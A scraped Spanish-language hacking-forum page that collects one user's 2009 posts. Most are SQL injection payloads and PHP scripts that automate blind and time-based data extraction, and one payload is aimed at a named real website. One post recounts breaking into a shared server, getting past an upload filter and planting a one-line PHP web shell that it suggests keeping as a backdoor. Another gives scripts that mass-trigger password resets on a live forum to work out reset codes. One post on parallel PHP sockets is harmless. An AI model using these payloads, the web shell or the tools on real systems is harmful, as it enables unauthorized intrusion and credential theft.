elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Nivel Web / Optimización de SQL Union Injection en MYSQL en: 31 Julio 2009, 06:16 am
Optimización de SQL Union Injection en MYSQL

Sin lugar a dudas, este es el tipo de inyección que mas fácil se puede obtener información, en un par de consultas se  lograría obtener el nombre de usuario y contraseña del administrador del sistema o de algún usuario con privilegios.
Pero también consta de una etapa que es engorrosa, la obtención de tablas y sus correspondientes campos. Claramente en una base de datos Mysql Versión 5.x.
Gracias a la base de datos information_schema, podemos obtener las tablas y los campos de la base de datos.

La sintaxis Común de la obtención de las tablas es la siguiente

Código
  1. Select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1
  2.  

Con dicha consulta obtendríamos la primera tabla de la base de datos, luego aumentando el valor de limit podríamos obtener las demás tablas.

Luego de encontrar la tabla que nosotros creemos que contendría la información de los usuarios, procedemos a obtener los campos de dicha tabla.

Por ej. , Para obtener los campos de la tabla “usuarios”.

Debemos transformar el nombre usuarios a su valor hexsql.

Código:
Usuario: 0×7573756172696F73


Código
  1. Select+column_name+from+information_schema.columns+where+table_name=0x7573756172696F73+limit+0,1
  2.  




Y así tendríamos los datos necesarios para poder generar la consulta final, hacia la base de datos.
Pero luego de hacerlo varias veces en distintas paginas, esta metodología resulta bastante agobiante,al  tener que consultar cada tabla, cada campo por  separado, es por ello que desarrolle una query que muestra la información que a nosotros nos interesa en 1 sola petición.

Ejemplo Consulta Final:

Código:
Localhost/vulnz.php?id=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--




Obtendríamos los valores de la siguiente manera.

Campo, Tabla.

Analicemos a Fondo la Consulta.

Consulta que Obtiene las Columnas en Base a una Tabla.

Código:
=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(CONSULTA_RESTRICCION)+limit+0,1--


       
Consulta Restricción: Con Esta Consulta obtendremos la o las tablas que cumplan con la restricción impuesta por la expresión regular.

Código:
select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1

     

Expresión  Regular.

Código:
REGEXP+0×2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A


Código:
.*((us[ue]|log[io]n|adm)).*


Con esta Expresión podríamos obtener algunos de los nombres mas comunes de las tablas que contienen información relacionada con los usuarios como podría ser :

    * Usuario
    * Username
    * User
    * Administrador
    * Administrator
    * Login
    * Logon
    * etc

Ejemplo Real:

Fuente Vulnz

Código:
http://www.buenosaires2050.org/noticias.php?id=39+and+1=2+union+select+1,2,3,4,group_concat(column_name,0x3A,table_name,0x3C62723E),6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--



Saludos a Todo el Staff de Undersecurity.net

OzX [Undersecurity.net]

Fuente
2  Seguridad Informática / Nivel Web / Busqueda Binaria Aplicada a las Blind SQL Injection en: 10 Julio 2009, 05:06 am
Búsqueda Binaria Aplicada a las Blind SQL Injection
Antes de empezar me gustaría aclarar algunas cosas:


  • No Pretenderé Ocupar conceptos enredados, ni tampoco caer en tecnicismo, lo explicare como yo lo entiendo, y como me fuese gustado que me lo explicaran.
  • Esta Publicación esta enfocada a las personas que tengan nociones básicas de Blind SQL Injection, quienes no saben de qué estoy hablando, es mejor  que busquen algún tutorial de este tipo de vulnerabilidad en Nuestra Comunidad. o lean los siguientes conceptos.
Conceptos :


  •   sección SQL Injection en Undersecurity
  •   ¿Que es el Formato ASCII?

    Comandos en MYSQL :

  • MID
  • ASCII

    Control De Flujos:

  •   CASE
  •   IF

    Información Blind SQL Injection

  •   Blind SQL Injection by Netting

    Información Búsqueda Binaria

  •   Busqueda Binaria
  •   Arbol Binario


    Ahora bien empecemos…
    Las Blind SQL Injection, es un tipo de vulnerabilidad que es bastante común y de una explotación bastante sencilla, pero tiene 1 solo problema. Es necesario  generar una cantidad de peticiones bastante considerables hasta encontrar un valor verdadero. Por lo que se convierte en una explotación bastante lenta y tediosa.

    Por Ejemplo, Planteemos el Siguiente Escenario.

    Tabla User



     Datos Contenidos en la tabla User:


  •   Usuario: Administrador
  •   Password: Undersecurity


Ahora bien, Para Empezar Nosotros Obtendremos el Primer Valor del Usuario, mediante la metodología  Común para explotar las Blind SQL Injection.  (En un Ambiente Controlado dentro de la consola, no es una situación real de explotación).
Para encontrar un valor verdadero tendremos que testear desde el Carácter 32 de la Tabla Ascii Hasta el Valor 122.
Como Podemos Observar en la Siguiente Imagen, el Primer valor del Usuario es “A”, transformado al formato Ascii obtendría el valor de  65.



En la Practica Tendríamos que Generar  33 Peticiones (65 – 32) para Recién Obtener el Primer valor del usuario.
Y si nos ponemos  bien extremistas, si el usuario se llamara zamorano, tendríamos que generar  90 peticiones para recién Obtener el Valor. Por lo que se hace  bastante lento y tedioso este tipo de explotación.

Ahora viene  la implementación de Búsqueda Binaria.

La Búsqueda Binaria se basa en la teoría de divide y vencerás. La Idea es ir dividiendo  el  rango en mitades.
Por Ejemplo : La clave que queremos encontrar es 9.

Tenemos el Siguiente String



  • arreglo =(1,2,3,4,5,6,7,8,9,10,11);


Dividimos en 2 el String Obteniendo.


  • Restricción = ( 1, 2, 3, 4, 5,6 ) false
  • Restricción =    (6, 7, 8, 9, 10,11) true


Si se fijan la cantidad de números dentro del arreglo, es impar, por lo  que se necesita repetir un numero dentro de los 2 String resultantes (6), para obtener 2 String Con la misma cantidad de caracteres.
Y Ahora ¿Cuál seria Nuestro String a Seguir?, El que Tenga Nuestro Valor a Buscar, en este caso el segundo String o la segunda restricción.


  •   Restricción = (6, 7,8) false
  •   Restricción = (9, 10,11) true
  •   Restricción =  (9,10) true
  •   Restricción =  (10,11) false
  •   Restricción =  (9) true
  • Restricción =  (10) false


Finalmente obtenemos nuestro valor, dentro de la primera restricción. Con una cantidad de   4 peticiones.
Esta Misma Metodología Ahora la Aplicaremos a una Blind SQL Injection.
Ahora Aplicaremos los Valores de la tabla Ascii desde el valor 32 hasta el 122.


  •   Arreglo : 32-122 [Space-z]
  •   Restriccion_1: 32-72 [Space-M]
  •   Restricción_2: 72-122 [M-z]


Utilizáramos el Siguiente  Consulta SQL.

Query Global:

Código:
+and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —

Explicación:

Si El valor a encontrar esta entre los valores del arreglo, entonces consultar si están dentro de la primera restricción. por el contrario si el valor a buscar no esta dentro de la primera restricción, entonces esto significa, que esta dentro de la segunda restricción.

Query : Restricción_1

Código:
     select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end

Explicacion :

En el caso que el primer valor de la consulta este dentro del rango de la restriccion 1, entonces retornara verdadero. por el contrario retornara falso.

Ahora bien, un Simple Ejemplo :

    Consulta :

Código:
select+user()

Valor de user () : Administrador@localhost.com

Valor a Obtener : A

Valor ASCII :65

    * Parametros:

Arreglo: 32-122 [Space-z]
Restriccion_1: 32-72 [Space-M]
Restriccion_2: 72-122 [M-z]

Consulta Completa :

Código:
http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--

Explicacion :

Buscaremos el Primer valor de la consulta “select user()”, el cual es A, (Ascii: 65), primero consultaremos si el  valor esta entre 32-122 [Space-z], si este resulta verdadero entonces retonara TRUE , o por el contrario si no esta dentro del rango 32-122 retornara FALSE.

Si el valor  retornado por la primera consulta es TRUE , entonces consultara si el primer valor esta entre 32-77 [Space-M], si esto es verdadero retornara TRUE, por el contrario retonara FALSE y el valor estaria entre 72-122[M-z].

En Esta  Consulta Reducimos Nuestras alternativas de 90 a 45.

¿Podrías Adivinar que Estado Retornara la Consulta , Si el valor a Buscar es 64?

    * Si Pensaste en TRUE, estas en lo Correcto.

Luego En la Segunda vuelta , el  rango que se encuentre dentro del valor a buscar (en este caso 32-77), se convertirá en nuestro arreglo, y se dividirá en 2 ([32-54]-[55-77]), así sucesivamente, hasta encontrar el valor final, en solo 7 consultas.

Grafica :

Full-Size
(Solo Muestra el Rango desde 32-77)


Para Demostrar Esta Metodología Desarrolle un Pequeño Programa que solamente muestra 1 carácter,  en 7 peticiones.

Aclaro :  Es un PoC en Php.

Posteriormente dentro del Lab de Undersecurity.net Se desarrollara la Tool Completa.

Imagen :



Código del POC Llamado BlindD00l:

Descargar Blind00l


  • Testeado En Mysql 5.x
  • Curl Activado
Gracias a toda la Comunidad Undersecurity.net

  • Cic4tr1z : logística Infinita
  • Nork : Correcciones y Apoyo en ideas extravagantes.
  • 1995: Apoyo Incondicional.
  • N0b0dy :Notable y leal animo a la comunidad.
  • Lix : Por ser Simplemente Lix.
  •   y A muchos mas que quedaron en el camino.

#OzX [Undersecurity.net]

Fuente
3  Seguridad Informática / Nivel Web / Caso #2 : Intrusion En Servidor Compartido En base a Injeccion SQL. (Caso Real) en: 10 Abril 2009, 05:37 am
El Objetivo del Post es demostrar que es posible ingresar a una web no necesariamente por la Misma en cuestion, sino mas bien que es posible ver que paginas estan alojadas en el servidor y poder subir una shell de forma paralela. aprovechando las vulnerabilidades que estan en otras paginas alojadas en el Mismo Servidor. Porque simplemente una pagina es una Carpeta mas dentro de un Servidor.


Este es un Caso real de una Empresa que hace Paginas para el Gobierno, Aunque no e recibido contacto alguno de parte de ellos, posteo la metodologia de la intrusion y imagenes de un Video que les Envie. No posteo la Falla en Si ni la Pagina, porque no FALTARA, el que hace provecho de este. Espero que sea les de Utilidad.

Edite todas las Imagenes, para no tener Problemas.

A la  pagina que yo Deseo Ingresar, Llamemosla Objetivo.com.

Analizando la Web me encuentro que es puro html, mas duro que una Roca, tiene una zona de login pero Sin fallas de Injecciones, Luego de saber de forma manual que no podia ingresar, busque en google algun archivo php u asp, que estuviera en el Sitio.

Código:
site:objectivo.com inurl:php
site:objectivo.com inurl:asp

Y para mi Sorpresa solo existia 1 solo php que era del Login y de la zona de usuario.

Ahora bien , aunque paresca el evangelizador de las reverse Dns, encuentro que es una Opcion Total, para las intrusiones en Servidores Compartidos.

Reverse DNS:


Me Encuentro Con Varios Sitios, 2 de ellos Joomla, dios que Odio los Joomla XD¡. Aunque sean Utiles, No me gustan. Por lo Cual los deje para el FInal.
Pero para i sorpresa me encuentro con una Web que se nota que no a sido actualizada hace mucho mucho tiempo, por lo cual, mi mision ahora es ingresar por dicha Web.

Llamemos esta web Compartido.com

Analizando la Web encuentro una Falla de Sql Injection:



Ahora bien, tenia todo el Animo del Mundo, pero a medida que iva desentrañando la Vulnerabilidad me doy cuenta que es una Version 4 de mysql (adios schema), intente adivinar las tablas y nada. Dije vamos como tan Mal ¡ Intente si tenia Magic quotes ..... y Sep. Adios Into Out File.

Busque otros Inputs Vulnerables pero todos me llevaban a la Misma Inyeccion. 


AL Otro dia ya mas relajado, empiezo a buscar el panel de administrador, para ver por si, como era una web antigua tenia la mitica injeccion sql de 'or'+1=1--, buscando no me demore ni 1 seg en provar /admin/, el cual magicamente aparecio ante mi.



Panel:


Y que No ¡



me reia solo al pensar que pase como 2 horas provando tablas y opciones, teniendo el acceso a un "/admin" de distancia...

Rapidamente fui a buscar algun Upload, y claramente encontre uno, pero tenia un Filtro basico para que solo se puedera subir imagenes. (content-type)



Volvi a Subir la Shell pero la volvi a enviar , pero dejando el content type del jpg, pero cambiando la extension.



Shell Up :


Ahora bien la "Shell" Que subir es un Simple Request Pasado al Systema.

Código:
<? system($_REQUEST['cmd']); ?>

¿Porque?

En lo personal Encuentro que con este Tipo de Shell es mucho mas facil subir el archivo , principalmente por eso, y tambien porque no es tan invasivo como Subir la Shell directamente. La Puedes Incluso dejar como Backdoor.

Ahora teniendo Esto Arriba, nada mas tenia que ubicar el path en donde se alojaba Objectivo.com




Pero uhmmm, como lo Sabre?... Pues en la Segunda Imagen se Muestra Claramente el Path con el Error.
Aunque paseando por el sistema se puede saber facilmente el path.



Ahora ya Conociendo el Path nada mas me quedaba Subir la Shell, a Objetivo.com pero ¿Como se que Carpeta tien permisos de escritura?, En lo personal, veo las imagenes alojadas en el servidor, y observo la Ruta de este, "casi" siempre, estas carpetas en donde se alojan las imagenes, estan con permisos, por lo cual mi Ruta era.

Código:
var/www/vhost/objectivo.com/admin/upload/

Y Gracias  a Este Post de Como  Subir Shell Via Wget



The Show Time ¡



Saludos¡
OzX¡
Undersecurity.net
4  Programación / PHP / Emular MultiHilos (multithread) Sin Fork (FAKE FORK) en: 21 Marzo 2009, 06:08 am
En el Afan de poder Crear Hilos Paralelos en php, para una tool (YASBU ) llegue a pcntl_fork, pero este solo funciona en unix, aunque puede ser instalado en windows nececita de una version compilada con --enabled-pcntl por lo cual volver a compilar php y que no todos lo tengan, me mancho la pelicula.


Luego de Investigar Bastante y Caer en Esta web
http://www.ibm.com/developerworks/library/os-php-multitask/index.html

Logre Ver que se podia , con "stream_socket"


Código
  1. <?php
  2.  
  3. //coded by OzX Undersecurity.net
  4.  
  5. $hosts[] = "www.terra.cl";
  6. $hosts[] = "www.ask.com";
  7. $hosts[] = "www.google.com";
  8. $hosts[] = "www.microsoft.com";
  9. $hosts[] = "www.terra.cl";
  10. $hosts[] = "www.ask.com";
  11. $hosts[] = "www.google.com";
  12. $hosts[] = "www.microsoft.com";
  13. $hosts[] = "www.terra.cl";
  14. $hosts[] = "www.ask.com";
  15. $hosts[] = "www.google.com";
  16. $hosts[] = "www.microsoft.com";
  17. $hosts[] = "www.terra.cl";
  18. $hosts[] = "www.ask.com";
  19. $hosts[] = "www.google.com";
  20. $hosts[] = "www.microsoft.com";
  21. $hosts[] = "www.terra.cl";
  22. $hosts[] = "www.ask.com";
  23. $hosts[] = "www.google.com";
  24. $hosts[] = "www.microsoft.com";
  25. $hosts[] = "www.terra.cl";
  26. $hosts[] = "www.ask.com";
  27. $hosts[] = "www.google.com";
  28. $hosts[] = "www.microsoft.com";
  29. $hosts[] = "www.terra.cl";
  30. $hosts[] = "www.ask.com";
  31. $hosts[] = "www.google.com";
  32. $hosts[] = "www.microsoft.com";
  33. $hosts[] = "www.terra.cl";
  34. $hosts[] = "www.ask.com";
  35. $hosts[] = "www.terra.cl";
  36.  
  37.  
  38. $data = "";
  39. $timeout = 15;
  40. $sockets = array();
  41.  
  42.  
  43. #Asignamos Los sockets Creados a un Array
  44. foreach ($hosts as $id => $host) {
  45. $sockets[$id] = stream_socket_client("$host:80", $errno, $errstr, $timeout, STREAM_CLIENT_ASYNC_CONNECT);
  46. }
  47. #=================================================
  48. $total = count($sockets); //Contamos el Total de Socket Creados
  49.  
  50. for($x=0;$x<$total;$x++){ // Creamos el Ciclo para Realizar las Peticiones
  51. $write = $sockets; //Se Copia el array de sockets a write, en cada ciclo este sera 1 menos.
  52. $n = stream_select($r=null, $write, $e = null, $timeout); //establecemos y selecionamos un socket.
  53. echo "[+] HOST :".$hosts[$x]."\n";
  54. if ($n > 0) { //si existen cambios (si quedan socket por procesar)then...
  55. $packet  = "GET /index.php HTTP/1.1\r\n";//Headers
  56. $packet .= "Host: ".$hosts[$x]."\r\n";    //Headers
  57. $packet .= "Connection: close\r\n\r\n";    //Headers
  58. fwrite($sockets[$x],$packet); //Enviamos la Peticion
  59.     while (!feof($sockets[$x])) {
  60.      $data .= fgets($sockets[$x], 128); //Obtenemos el Code Source
  61.    }
  62. echo strlen($data)."\n"; //Contamos el Total (Solo Test)
  63. fclose($sockets[$x]); //Cerramos Conexion
  64. $data = "";
  65. /*Borramos en el Array La peticion recien pasada para que en el siguiente */
  66. unset($sockets[$x]);
  67.  
  68.  
  69. }
  70. }
  71.  
  72.  
  73. ?>
  74.  
  75.  
  76.  

La Magia ¡ 30 Peticiones Simultaneas :D





Y así Tenemos MultiHilos sin Fork ¡, Nose que Fallas Podria Tener pero nunca esta a salvo.




Saludos¡
Fuente



EDIT: Edito el titulo y le Agrego FAKE   :laugh: Para evitar nuevamente que me digan "hey chaval estas mal no es fork  :¬¬" FAKE.


Saludos ¡
5  Seguridad Informática / Nivel Web / Caso #01 : Blind SQL Inyection Con Descarga Forzada. en: 6 Febrero 2009, 19:21 pm



Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.

Web:
Código:
http://www.site.com/download.php?id=2

Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.



Citar



Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.

Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.

Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.

Citar
<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
   if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }
?>

La parte en Rojo muestra cantidad maxima que recibira.
Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero.
Ya tenemos Nuestro Motor Casi Listo.


Script Finalizado :
Código:
<?php
/*
Coded by OzX[NuKE/US]
http://foro.undersecurity.net

*/
set_time_limit (0);
error_reporting(0);

function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}

function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);

for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos
echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>



Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.

Código:
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0


Saludos ¡
OzX¡

Fuente : http://foro.undersecurity.net/read.php?5,775,776
6  Seguridad Informática / Nivel Web / Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas en: 1 Febrero 2009, 19:24 pm
Hi
 ;D


Espero que alguie me pueda dar un cable.

Mi Problema es el Sguiente


Tengo una Inyeccion Time-based Blind SQL; que me funciona de maravillas.

Citar
Dato = es lo mismo que hacer 2+and+1=0+union+select+all+1,2,3,4,5,6,7,8,9/* <= INY NORMAL.

Código
  1. http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),0,1)/**/=/**/CHAR(%2297%22),BENCHMARK(1500000,MD5(CHAR(1))),NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+FROM+bd.tabla+WHERE+id=1+LIMIT+0,1/*

Cuando es Falso tiene un Retorno de 4 a 7 segundos y cuando es verdadero tiene un deface de mas de 15 seg, entre 20 a 21 segundos.

Codie una tool para este fallo, q me permite automatizar todo, lo posteo por si alguien luego nececita algun cable con esto.

php script.php 1 97 //Empieza del 2 caracter a buscar desde la letra a
Código
  1. function GET($url) {
  2. $curl = curl_init();
  3. $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  4. $header[] = "Cache-Control: max-age=0";
  5. $header[] = "Connection: keep-alive";
  6. $header[] = "Keep-Alive: 300";
  7. $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  8. $header[] = "Accept-Language: en-us,en;q=0.5";
  9. $header[] = "Pragma: ";
  10. curl_setopt($curl, CURLOPT_URL, $url);
  11. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
  12. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  13. curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  14. curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  15. curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  16. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  18. if (!$html = curl_exec($curl)) {
  19. $html = file_get_contents($url);
  20. }
  21. curl_close($curl);
  22. return $html;
  23. }
  24.  
  25.  
  26.  
  27. $v = $argv[2]; //desde donde empieza el ansii
  28. $limit = $argv[1]; // valor q obtener, el primero, segundo tercer caracter , 1,2,3
  29.  
  30. for($x=$v;$x<=122;$x++){
  31. $starttime=time();
  32. echo "[+] Testing :>  ".$x."   =================>     ".chr($x);
  33.  
  34. $source = GET("http://www.site.com/bug=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),".$limit.",1)/**/=/**/CHAR(%22".$x."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+0,1/*");
  35.  
  36. $endtime=time();
  37.  
  38. $difftime=$endtime - $starttime;
  39. echo "              DIFERENCIA  -> ".$difftime."\r\n";
  40. if ($difftime >15){ //Tiempo max de Respuesta TRUE
  41. system("clear");
  42. echo "              DIFERENCIA  -> ".$difftime."\r\n";
  43. echo " #####################ENCONTRADO [ ANSII[".$x."]    ".$limit."   ] ===> ".chr($x)."\r\n";
  44. exit();
  45. }
  46.  
  47. }



buenooo. ahora bien obtengo todos los datos que nececito, pero me surgio un gran drama, la pass y el user es case sentitive, por lo cual nececito ver si son mayusculas o minisculas, pero el blind me tira la misma cantidad de tiempo cuando es una A mayusculas que cuando es una a miniscula, y nose porque, 115 (s) y 83(S), son 2 numeros distintos pero de igual forma, me dice que es verdadero.

Citar
ozx@OzX:~/Escritorio$ php adminblind.php 1  115
  • Testing :>  115   =================>     s              DIFERENCIA  -> 20
              DIFERENCIA  -> 20
 #####################ENCONTRADO [ ANSII[115]    1   ] ===> s
ozx@OzX:~/Escritorio$ php adminblind.php 1 83
  • Testing :>  83   =================>     S              DIFERENCIA  -> 21
              DIFERENCIA  -> 21
 #####################ENCONTRADO [ ANSII[83]    1   ] ===> S



¿Como podria atravez de la Iny indentificar si es LOWER o UPPER ?


taba provando algunos SELECT+IF+LOWER, y UPPER, pero la iny se me va al carajo..

Alguna idea?

Saludos¡
7  Seguridad Informática / Nivel Web / Reset Admin Password 1.1.7 SMF (TEORIA) en: 9 Enero 2009, 01:59 am
Reset Admin Password 1.1.7  SMF (TEORIA)

Al Pedir La Contraseña, Nos Entrega Via Email una Url Similar  a Esta.

http://password.esp.am/index.php?action=reminder;sa=setpassword;u=1;code=832da39b01

En Donde:

  • u = Id del Usuario
  • code = Codigo de reseteo


¿Entonces?

Si Yo Ingreso el Mail del Administrador para Poder Resetear su Contraseña, y "Adivino" El codigo de Reseteo, Podria Resetear la Contraseña del Administrador.

¿Pero Como Carajos Sabria yo el Codigo de Reseteo?

Buena pregunta, Lo Mismo me Pregunte, y Con esa Duda en mi Cerebro, inicie un Testeo de como eran los Codigos, Para Poder Obtener Algun Patron.

Codie distintos Scripts Para Poder Facilitarme el Trabajo.


Scripts Que Envia La peticion para Que el Servidor Envie el Mail de Resteo de la Contraseña.
Server de Spam :http://spamavert.com/

Ocupe Spamavert, porque asi se me hacia muxo mas facil luego poder obtener el Codigo "code"

Código:
<?
#FUNCION GET OBTIENE EL CODE SOURCE
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
return $html;
}

function POST($mail,$sid){
$curl = curl_init();
$post = "user=".$mail."%40spamavert.com&sc=".$sid;
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, "http://password.esp.am/index.php?action=reminder;sa=mail");
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://password.esp.am/index.php?action=reminder');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
$result= curl_exec ($curl);
curl_close ($curl);
return $result;
}

function send_mail($mail){
$url = "http://password.esp.am/index.php?action=reminder";
preg_match_all("/hashLoginPassword\(this.*\'(.*)\'\);\">/", GET($url), $datos,  PREG_SET_ORDER);
$source = POST($mail,$datos[0][1]);
if (preg_match("/A mail has been sent to your email address/", $source)) {
echo "Email Enviado\n";
}else{
echo "ERROR\n";
}
}

$mail = $argv[1];

for ($x=1;$x<=500;$x++){
echo $x." = ";
send_mail($mail);
}




?>
Ej:
php script.php nombre_de_usuario_del_mail

Lo Cual hacia que en mi Casilla Enviara 500 peticiones De Reseteo de Contraseña.


El Segundo Script Era el de Obtener el Codigo "code" de las Casillas de Mails.

Código:
<?
#FUNCION GET OBTIENE EL CODE SOURCE
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
